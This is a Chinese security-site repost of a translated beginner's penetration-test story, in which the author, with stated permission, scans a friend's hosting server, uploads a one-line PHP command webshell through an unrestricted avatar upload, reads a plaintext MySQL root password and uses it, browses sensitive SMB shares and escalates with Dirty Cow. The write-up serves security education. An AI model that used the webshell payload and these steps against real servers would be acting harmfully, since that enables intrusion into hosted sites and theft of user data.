安全路透社
当前位置:安全路透社 > 网络转载 > 正文

新手上路 | 看我如何在7分钟之内获取40个网站控制权

02.jpg

去年夏天我开始入门学习信息安全和黑客知识,在过去的一年里,我参加了各种各样的wargames、CTF夺旗和渗透测试比赛,以不断提高我的黑客技能。长话短说,我觉得我的经验总局限于模拟环境,而且由于我认为自己是一个白帽黑客,总是两耳不闻窗外事。一直到这件事我才觉得能拿得出手,因为我黑进了一个托管着40个网站的服务器。

滴滴!黑客老司机们,别围观了,出门左转看APT,这是新手赛道,我们要飙车了!

测试开始

事情是这样的,一个朋友告诉我他的网站存在一个XSS漏洞,希望我帮他检查检查。这可能要对他的网站和托管服务器执行一次全面测试,首先,关键的一点是,我希望得到他的正式测试授权许可,他同意了。

首先,一般都是在尽量不影响目标服务的情况下进行一些信息枚举收集,这一步,我们使用Nmap的默认脚本来进行一些扫描:

$ nmap --top-ports 1000 -T4 -sC http://example.com
Nmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| {redacted}
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp open netbios-ssn
443/tcp open https
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp open microsoft-ds
5901/tcp open vnc-1
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
8080/tcp open http-proxy
|_http-title: 400 Bad Request
8081/tcp open blackice-icecap

扫描共持续了2分钟

可以看到,有多个端口开放服务!根据21端口的FTP和139/445端口的SMB来看,我推测目标服务器可能还用于文件托管共享服务,另外,还开放了Web服务器相关的80/443端口,以及相关代理端口8080/8081。

如果上面的扫描信息不够全面,则要考虑进行UDP端口扫描和超过1000个端口的扫描。而现在这种情况下,唯一能与目标服务器进行交互的端口就是80和443,我立马启动gobuster来枚举Web服务器上的可能存在的有趣目录和文件信息,我也将手动进行信息挖掘。

$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
/admin
/login

结果证明,/admin路径是需要凭据的管理界面接口,可惜没有用户名密码,只能绕道了,而gobuster也没发现什么有价值的信息。

时间过去了3分钟

无限制文件上传漏洞

来看一下目标网站,他要求我们注册浏览,好吧,我就随便用邮箱注册一个账户,点击邮箱收到的账户确认链接后,就转向网站主页了。网站向导会弹出请更新账户信息并上传账户图标的提醒,真好。网站架构貌似是定制版的,我先来测试一个无限制的文件上传漏洞,我在终端上执行以下代码:

echo "<?php system(\$_GET['cmd']); ?>" > exploit.php

我尝试着上传image图片,哦也,上传组件竟然能允许上传 exploit.php文件,上传之后它并不显示缩略图,也就是说,我的php文件成功被上传了!

03.png

excellent!右键复制图片地址,可以成功访问php的webshell文件:

http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php

加个命令whoami:

04.png

经深入分析发现,该网站服务器可以解析perl脚本,因此我用喜欢的cheatsheet构建了一个perl的反弹webshell,设置了IP/PORT之后上传后,能成功返回一个低权限控制shell,抱歉,因涉及隐私,这里就不上图了。

现在,5分钟已经过去了,我们获取了一个低权限控制shell

40个托管网站的数据库读取

惊讶的是,该网站服务器不仅只有一个网站,它上面一共托管了40个不同网站!可惜我没有保存每个网站的截图,但可以从命令输出看到一长串的站点目录:

$ ls /var/wwwaccess.log site1/ site2/ site3/ {... the list goes on}

太惊奇了,竟然可以读取所有托管网站的后端代码,我们仅来看目标网站代码,特别是在/cgi-admin/目录下,所有perl脚本都能以root身份连接到一个mysql的数据库,而且该数据库密码竟然还是明文的root:pwned42。足够了,分析后知道服务器中运行了MariaDB数据库管理系统,利用这个凭据和应用,我们可以执行mysql数据库连接:

mysql -u root -p -h localhost victimdbname
Password: pwned42

以root权限进入数据库后,可以对数据库内容进行任意查看和修改操作:

05.png

好了,7分钟过后了,我已经获得了所有托管网站的数据库权限了!到此,我觉得可以结束渗透测试了,漏洞问题和安全威胁已经很明显了。由于mysql进程是root权限的,我又尝试在后上传的低权限webshell中执行whoami命令,看看是不是root权限,但很遗憾返回的仍然是apache身份账户。

7分钟,前期测试到此结束

后续测试

我向朋友披露了上述发现的漏洞后,他又授权我进行更深入的渗透测试。考虑到webshell提权可能会对网站导致一些潜在的破坏影响,我就继续在服务器中dig一些有用的文件。此时,我想到了之前扫描到的SMB开放端口,它可能对应一些用户之间的文件共享服务。经过一会功夫的枚举,/home/samba/secured目录映入眼帘:

06.png

其目录中的所有文件,都涉及托管公司的所有用户文件,其中包括各种敏感数据信息,如:

.psd/.ai文件(这类文件可是公司员工设计者的全部心血)

Cookie sqlite文件

发票文件

盗版电子书

WIFI接入密码

最后一击(Dirty Cow)

最终,我还是决定进行系统提权,但一番尝试过后,见效不大。之前CTF比赛的技巧启发了我,一些操作系统的升级和错误配置服务可被利用进行提权,但在现实世界中,很少有人会及时打补丁的,就像Equifax数据泄露事件一样,竟然在关键漏洞公布后的2个多月里才打上补丁。于是,我尝试来看一下其系统版本:

$ cat /etc/issue
CentOS Linux release 7.2.1511 (Core)

内核版本:

07.png

这明显是一个老版本内核,脏牛漏洞(Dirty Cow)油然而生!于时乎,我从这个网站上找到了Dirty Cow的漏洞检测脚本,一验证,还真的中招了!

09.png

所以,最后,利用脏牛漏洞成功实现了系统提权,Game OVER:

10.png

*参考来源:hackernoon,freebuf小编clouds编译

未经允许不得转载:安全路透社 » 新手上路 | 看我如何在7分钟之内获取40个网站控制权

赞 (1)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册